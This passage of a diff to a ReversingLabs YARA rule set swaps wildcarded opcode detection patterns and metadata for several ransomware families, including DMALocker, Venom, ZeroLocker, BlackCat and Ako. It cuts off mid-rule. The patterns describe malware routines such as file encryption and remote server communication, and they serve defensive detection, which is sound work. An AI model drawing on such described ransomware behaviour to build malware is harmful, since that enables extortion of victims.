+            ?? ?? ?? F7 C3 ?? ?? ?? ?? 76 ?? 57 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B F0 56 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 74 ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8B
+            55 ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 47 D1 EB
+            FF 8D ?? ?? ?? ?? 75 ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$remote_connection = {
-            55 8B EC 81 EC ?? ?? ?? ?? 8B 45 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ??
-            89 45 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ??
-            ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? E8
-            ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? EB ?? 8B 4D ?? 8B 51 ??
-            89 55 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? C7 45 ?? ?? ?? ??
-            ?? 8B 4D ?? 8B 51 ?? 89 55 ?? EB ?? 8B 45 ?? 8B 48 ?? 89 4D ?? 83 7D ?? ?? 0F 84 ??
-            ?? ?? ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ??
-            ?? ?? ?? 6B D1 ?? 8D 8C 15 ?? ?? ?? ?? 3B C1 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
-            52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 83 C8 ?? E9 ?? ??
-            ?? ?? 8D 55 ?? 89 55 ?? 8D 45 ?? 50 8B 4D ?? 0F B6 51 ?? 52 E8
+		$dmalock_v2_enum_logical_disks = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 33 DB 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE 4D ?? 51 8D 95 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ??
+            ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 75 ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ??
+            B0 ?? 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 8A C3 33 CD 5B E8 ?? ??
+            ?? ?? 8B E5 5D C3
         }
-		$find_files_p1 = {
-            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
-            7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ??
-            03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F
-            5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ??
-            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ??
-            89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ??
-            ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ??
-            8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ??
-            8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7
+		$dmalock_v4_remote_server_communication = {
+            85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 0F
+            87 ?? ?? ?? ?? FF 24 9D ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83
+            C4 ?? B0 ?? C3 8B 4E ?? 8B 56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0
+            ?? C3 8B 46 ?? 8B 4E ?? 50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B
+            56 ?? 8B 46 ?? 52 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 4E ?? 8B
+            56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ?? 8B
+            56 ?? 50 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ??
+            50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 32 C0 C3
         }
-		$find_files_p2 = {
-            EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50
-            57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD
-            5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85
-            ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ??
-            ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D
-            ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8
-            ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
-            83 C4 ?? E9
+		$dmalock_v4_encrypt_file_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ??
+            ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 56
+            32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 56
+            6A ?? 89 45 ?? 89 45 ?? 66 89 45 ?? 8D 45 ?? 6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ??
+            8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? 6A ?? 57 56 E8
+            ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ??
+            33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$dmalock_v4_encrypt_file_2 = {
+            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ??
+            ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B
+            D8 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 0F 85 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? ?? 85 F6 74
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46 ?? 85 C0 74 ?? 8B 75 ?? B9 ?? ?? ??
+            ?? 8B F8 F3 A5 66 A5 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46
+            ?? EB ?? 33 F6 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 7E ?? 57 89 35 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B C6 E8 ?? ?? ?? ?? 84 C0 74 ?? 8B 4E ?? 8B 17 56 6A
+            ?? 6A ?? 68 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? C6 46 ?? ?? 8B B5 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 53 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 56 6A ?? 6A ?? 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 56 52 6A ?? 53 E8 ?? ?? ?? ?? 8B 45 ??
+            8B 8D ?? ?? ?? ?? 56 50 6A ?? 51 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33
+            CD B8 ?? ?? ?? ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+		uint16(0)==0x5A4D and ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1) or ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_2) or ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_3) or ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1 and $dmalock_v2_enum_logical_disks) or ($dmalock_v4_encrypt_file_1 and $dmalock_v4_encrypt_file_2 and $dmalock_v4_remote_server_communication and $dmalock_v2_enum_logical_disks)
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Venom : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Zerolocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Venom ransomware."
+		description = "Yara rule that detects ZeroLocker ransomware."
 		author = "ReversingLabs"
-		id = "72149ec2-888e-5bed-baf1-0ec44e48328e"
-		date = "2022-06-06"
-		modified = "2022-06-06"
+		id = "291b5640-387c-54d9-97a6-13823932fa60"
+		date = "2021-08-12"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Venom.yara#L1-L68"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5817ece6a1cc304835f7fc243c4cfdc3c7cacd2251a9ac294a6662b58d2552e8"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara#L1-L70"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "147e4b390bcfaff8f05059c1d9a98b50f544fc32e820406417894fe5046e0f71"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -25885,61 +27220,72 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Venom : TC_DETECTION MALICIOUS MALWA
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Venom"
+		tc_detection_name = "ZeroLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$setup_env = {
-            00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1B
-            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 07 6F ?? ??
-            ?? ?? 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 06 11 ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28
-            ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 1F
-            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ??
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ?? 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 20 ?? ?? ?? ?? 19 7E ?? ?? ?? ?? 19 16 7E ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 0D 09 08 20 ?? ?? ?? ?? 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 28
-            ?? ?? ?? ?? 00 2A
+		$encrypt_routine_1 = {
+            00 28 5B 00 00 0A 20 ?? 07 00 00 28 60 00 00 06 13 09 20 ?? 07 00 00 28 60 00 00 06 13
+            0B 02 03 20 ?? 07 00 00 28 60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D
+            1B 00 00 04 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 04 20 ?? 07 00 00 28 60 00 00 06 20
+            ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A 7D 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06
+            13 0B 02 7B 1C 00 00 04 20 ?? 07 00 00 28 60 00 00 06 6A 6F ?? 00 00 0A 00 20 ?? 07 00
+            00 28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 8D 1E 00 00 01 0A 20 ?? 07 00 00
+            28 60 00 00 06 13 0B 20 ?? 07 00 00 28 60 00 00 06 6A 13 04 20 ?? 07 00 00 28 60 00 00
+            06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A [0-2] 13 05 20 ?? 07 00 00 28 60 00 00 06 13
+            0B 73 ?? 00 00 0A 0C 20 ?? 07 00 00 28 60 00 00 06 13 0B 00 0E 05 20 ?? 07 00 00 28 60
+            00 00 06 59 13 0C 11 0C 45 02 00 00 00 02 00 00 00 ?? 00 00 00 2B ?? 00 20 ?? 07 00 00
+            28 60 00 00 06 13 0B 02 7B 1C 00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00
+            28 60 00 00 06 73 ?? 00 00 0A 0B 2B ?? 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C
+            00 00 04 08 05 0E 04 6F ?? 00 00 0A [0-2] 20 ?? 07 00 00 28 60 00 00 06 73 ?? 00 00 0A
+            0B 00 2B 62 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1B 00 00 04 06 20 ?? 07 00 00 28
+            60 00 00 06 20 ?? 07 00 00 28 60 00 00 06 6F ?? 00 00 0A [0-2] 0D 20 ?? 07 00 00 28 60
         }
-		$find_files = {
-            00 00 00 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 00 00 08 72 ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 16 FE 01 0D 09 2C ?? 00 08 02 28 ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 00 07
-            17 58 0B 07 06 8E 69 32 ?? 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13
-            ?? 00 11 ?? 02 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 DE ??
-            26 00 00 DE ?? 2A
+		$encrypt_routine_2 = {
+            00 00 06 13 0B 07 06 20 ?? 07 00 00 28 60 00 00 06 09 6F ?? 00 00 0A 00 20 ?? 07 00 00
+            28 60 00 00 06 13 0B 11 04 09 6A D6 13 04 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 04
+            11 05 FE 04 13 0D 11 0D 2D 86 ?? 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 4F 00 00 06 26
+            20 ?? 07 00 00 28 60 00 00 06 13 0B 07 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06
+            13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 02 7B 1C
+            00 00 04 6F ?? 00 00 0A 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28
+            60 00 00 06 FE 01 13 0D 11 0D 2C 32 ?? 45 01 00 00 00 F6 FF FF FF 20 ?? 07 00 00 28 60
+            00 00 06 13 0B 03 73 ?? 00 00 0A 13 06 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 06 6F ??
+            00 00 0A 00 00 20 ?? 07 00 00 28 60 00 00 06 13 0B 0E 05 20 ?? 07 00 00 28 60 00 00 06
+            FE 01 13 0D 11 0D 2C ?? [0-20] 20 ?? 07 00 00 28 60 00 00 06 13 0B 03 73 ?? 00 00 0A 13
+            07 20 ?? 07 00 00 28 60 00 00 06 13 0B 11 07 6F ?? 00 00 0A 00 00 20 ?? ?? 00 00 28 60
+            00 00 06 13 0B 02 7B 1B 00 00 04 6F ?? 00 00 0A 00 20 ?? ?? 00 00 28 60 00 00 06 13 0B
+            02 7B 1C 00 00 04 6F ?? 00 00 0A 00 DD 3B 01 00 00 11 0A 2B 0D 11 0A 20 ?? ?? 00 00 28
         }
-		$encrypt_files = {
-            00 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 18 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 07 06 20 ?? ?? ?? ?? 73 ?? ?? ?? ??
-            13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F
-            ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 17 6F ?? ?? ?? ?? 00 08 06 16 06
-            8E 69 6F ?? ?? ?? ?? 00 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ??
-            ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ??
-            ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D
-            ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00
-            DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 00 00
-            DE ?? 26 00 00 DE ?? 00 DC 2A
+		$encrypt_routine_3 = {
+            60 00 00 06 58 20 ?? 08 00 00 28 60 00 00 06 13 0A 45 26 00 00 00 00 00 00 00 ?? FC FF
+            FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? FC FF FF ?? ?? FF FF
+            ?? FD FF FF ?? FD FF FF ?? FD FF FF 00 00 00 00 ?? FD FF FF ?? FD FF FF ?? FD FF FF ??
+            FD FF FF ?? FD FF FF ?? FD FF FF ?? ?? FF FF ?? FD FF FF ?? FD FF FF ?? FD FF FF ?? ??
+            FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF FF ?? FE FF
+            FF ?? FE FF FF E8 FE FF FF FC FE FF FF 10 FF FF FF 11 FF FF FF 29 FF FF FF 41 FF FF FF
+            DE 6D 11 0B 13 0A 11 09 20 ?? 08 00 00 28 60 00 00 06 30 16 ?? 45 01 00 00 00 F6 FF FF
+            FF 20 ?? 08 00 00 28 60 00 00 06 2B 02 11 09 45 02 00 00 00 00 00 00 00 11 FF FF FF DE
+            34 75 4B 00 00 01 14 FE 03 11 09 20 ?? 08 00 00 28 60 00 00 06 FE 03 5F 11 0A 20 ?? 08
+            00 00 28 60 00 00 06 FE 01 5F FE 11 74 4B 00 00 01 28 57 00 00 0A DE 93 20 ?? 08 00 00
+            28 60 00 00 06 28 ?? 00 00 0A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($encrypt_routine_1 and $encrypt_routine_2 and $encrypt_routine_3)
 }
-rule REVERSINGLABS_Win32_Ransomware_Blackcat : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects BlackCat ransomware."
+		description = "Yara rule that detects Ako ransomware."
 		author = "ReversingLabs"
-		id = "e623340d-8df8-5f13-b75f-379bd0038f64"
-		date = "2022-02-14"
-		modified = "2022-02-14"
+		id = "00d67696-998c-5bc3-95e7-0320ca558cdb"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BlackCat.yara#L1-L109"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "24932baa625aedd14b5776ba3209c9ee330e84538c5267eeb5e09e352f655835"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ako.yara#L1-L152"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "488e9b528f75fcfaa8dd19859801e6e5a73575c33cd70c98ebaa9ae93025018b"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -25947,96 +27293,142 @@ rule REVERSINGLABS_Win32_Ransomware_Blackcat : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "BlackCat"
+		tc_detection_name = "Ako"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_p1 = {
-            8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? A1 ??
-            ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 83 F8 ?? A1 ?? ?? ?? ?? 0F 45 C1 8B 0D ?? ??
-            ?? ?? 0F 45 CA 8D 54 24 ?? 89 94 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
-            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ??
-            ?? ?? ?? 56 51 FF 50 ?? 83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ??
-            FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
-            ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75
-            ?? E8 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 85
+		$encrypt_network_shares_win32_p1 = {
